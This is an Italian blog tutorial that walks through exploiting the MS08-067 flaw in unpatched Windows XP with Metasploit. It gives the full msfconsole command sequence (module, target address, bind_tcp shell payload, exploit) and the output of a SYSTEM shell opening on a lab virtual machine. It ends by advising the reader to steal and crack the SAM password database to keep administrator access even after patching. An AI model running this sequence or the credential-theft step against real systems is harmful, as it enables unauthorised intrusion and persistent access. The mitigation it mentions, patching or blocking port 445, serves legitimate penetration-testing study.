Hackerare Windows con Metasploit

Anche se l’argomento di seguito è stato largamente esposto dal blog www.pillolhacking.net posso garantire che l’anomalia che affligge Windows XP è ancora attuale. Questo accade perchè ancora molti sistemi non sono stati pachati ovvero non hanno effettuato i necessari update.
In questo tutorial perciò viene dimostrato come sia possibile attaccare un sistema Windows vulnerabile a questo bug.

L’attacco per avere successo si devono presentare le seguenti condizioni:

  • Il computer non deve essere patchato contro la vulnerabilità MS08-067
  • Il computer deve permettere connessioni in entrata sulla porta 445

Se queste due condizioni non sono presenti il sistema si può considerare sicuro. Per essere sicuri di essere invulnerabili a questo attacco installare la patch MS08-067; in alternativa inibire l’accesso alla porta 445 tramite firewall.

L’attacco viene portato utilizzando il Metasploit Framework. Come piattaforma si può utilizzare Back|Track 5, una distribuzione Linux appositamente studiata per i penetration test.

Preparazione dell’attacco

Con il comando ifconfig mi sincero del mio indirizzo ip:

bt framework # ifconfig
eth0      Link encap:Ethernet  HWaddr 00:0C:29:AC:13:6D
inet addr:192.168.132.129  Bcast:192.168.132.255  Mask:255.255.255.0
UP BROADCAST NOTRAILERS RUNNING MULTICAST  MTU:1500  Metric:1
RX packets:5909 errors:0 dropped:0 overruns:0 frame:0
TX packets:5390 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:8686599 (8.2 MiB)  TX bytes:322667 (315.1 KiB)
Interrupt:18 Base address:0x1080

Come si vede il mio indirizzo è 192.168.132.129. La macchina target, quella che andrò ad attaccare è un Windows XP Pro vulnerabile a questo attacco e con la porta 445 accessibile. Il suo indirizzo è 192.168.132.128. Entrambe le macchine sono virtuali, emulate su VMWare.

Metasploit Framework dispone di diverse interfacce: quella che prediligo è msfconsole, ed è quella che utilizzerò in questo tutorial. Per accedere a msfconsole basta digitare il comando sulla linea di comando per entrare nel prompt msf:

bt framework3 # msfconsole

=[ msf v3.3-dev
+ -- --=[ 294 exploits - 124 payloads
+ -- --=[ 17 encoders - 6 nops
=[ 58 aux

Per visualizzare la lista degli exploit disponibili uso il comando show exploits; di seguito mostro uno stralcio, dove viene visualizzato quello che mi interessa:
msf > show exploits

Exploits
========

Name                                                      Description
----                                                      -----------

windows/smb/ms06_066_nwwks                                Microsoft Services MS06-066 nwwks.dll
<strong>windows/smb/ms08_067_netapi                               Microsoft Server Service Relative Path Stack Corruption</strong>
windows/smb/msdns_zonename                                Microsoft DNS RPC Service extractQuotedChar() Overflow (SMB)
windows/smb/psexec                                        Microsoft Windows Authenticated User Code Execution

Ho trovato l’exploit: decido di impiegarlo:

msf > use windows/smb/ms08_067_netapi

visualizzo la lista delle opzioni:

msf exploit(ms08_067_netapi) &gt; show options

Module options:

Name     Current Setting  Required  Description
----     ---------------  --------  -----------
RHOST                     yes       The target address
RPORT    445              yes       Set the SMB service port
SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Exploit target:

Id  Name
--  ----
0   Automatic Targeting

Ci sono tre parametri obbligatori: RHOST (l’indirizzo del target), la porta Tcp (445) e il servizio da sfruttare come vettore (BROWSER); lascio gli ultimi due di default e inserisco l’Ip del computer che voglio attaccare:

msf exploit(ms08_067_netapi) &gt; set RHOST 192.168.132.128
RHOST =&gt; 192.168.132.128

Il target non va specificato, in quanto viene selezionato automaticamente (Automatic Targeting)

Ora devo decidere cosa fare se l’exploit va a buon fine. Metasploit mette a disposizione diversi payloads, ovvero diverse opzioni dalla semplice shell su porta Tcp, alla connessione inversa, al server VNC. In questo caso scelgo la shell su port Tcp, scelta classica:

msf exploit(ms08_067_netapi) &gt; show payloads

Compatible payloads
===================

Name                                            Description
----                                            -----------
generic/debug_trap                              Generic x86 Debug Trap
generic/debug_trap/bind_ipv6_tcp                Generic x86 Debug Trap, Bind TCP Stager (IPv6)

...

windows/shell/bind_tcp                          Windows Command Shell, Bind TCP Stager
windows/shell/reverse_ipv6_tcp                  Windows Command Shell, Reverse TCP Stager (IPv6)

...

msf exploit(ms08_067_netapi) &gt; set PAYLOAD windows/shell/bind_tcp
PAYLOAD =&gt; windows/shell/bind_tcp

Ecco fatto: l’exploit è configurato. Ho scelto l’exploit ms08_067 che colpisce Windows senza l’aggiornamento relativo; ho settato l’indirizzo del target da attaccare ovvero RHOST 192.168.132.128; infine ho scelto il payload bind_tcp: se l’exploit andrà a buon fine potrò collegarmi (lo farà automaticamente) con una shell Windows su una porta Tcp  della macchina remota. Decido di non cambiare la porta Tcp e lasciare il valore di default: 4444.

A questo punto non resta che lanciare l’attacco, con il comando exploit:

msf exploit(ms08_067_netapi) &gt; exploit

[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 0 / 1 - lang:Italian
[*] Selected Target: Windows XP SP0/SP1 Universal
[*] Triggering the vulnerability...
[*] Sending stage (474 bytes)
[*] Command shell session 1 opened (192.168.132.129:55761 -&gt; 192.168.132.128:4444)

Microsoft Windows XP [Versione 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32&gt;ipconfig
ipconfig

Configurazione IP di Windows

Scheda Ethernet Connessione alla rete locale (LAN):

Suffisso DNS specifico per connessione: localdomain
Indirizzo IP. . . . . . . . . . . . . : 192.168.132.128
Subnet mask . . . . . . . . . . . . . : 255.255.255.0
Gateway predefinito . . . . . . . . . : 192.168.132.2

Come si vede l’attacco è andato a segno. Tramite la vulnerabilità Metasploit ha inviato un payload con una shellcode in grado di aprire la porta Tcp 4444 sulla macchina Windows e mi ha permesso di collegarmi ad una shell dei comandi.
A questo punto ho l’accesso completo con privilegi SYSTEM. Si può fare qualsiasi cosa.
Accesso completo senza dover conoscere nessuna password. Ora si preleva il SAM database e si cracca comodamente per poter rientrare in seguito con l’account di amministratore, senza dover rifare l’attacco: se il bug verrà patchato avrò comunque l’accesso garantito.

Print Friendly, PDF & Email

Lascia un commento

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *

Questo sito usa Akismet per ridurre lo spam. Scopri come i tuoi dati vengono elaborati.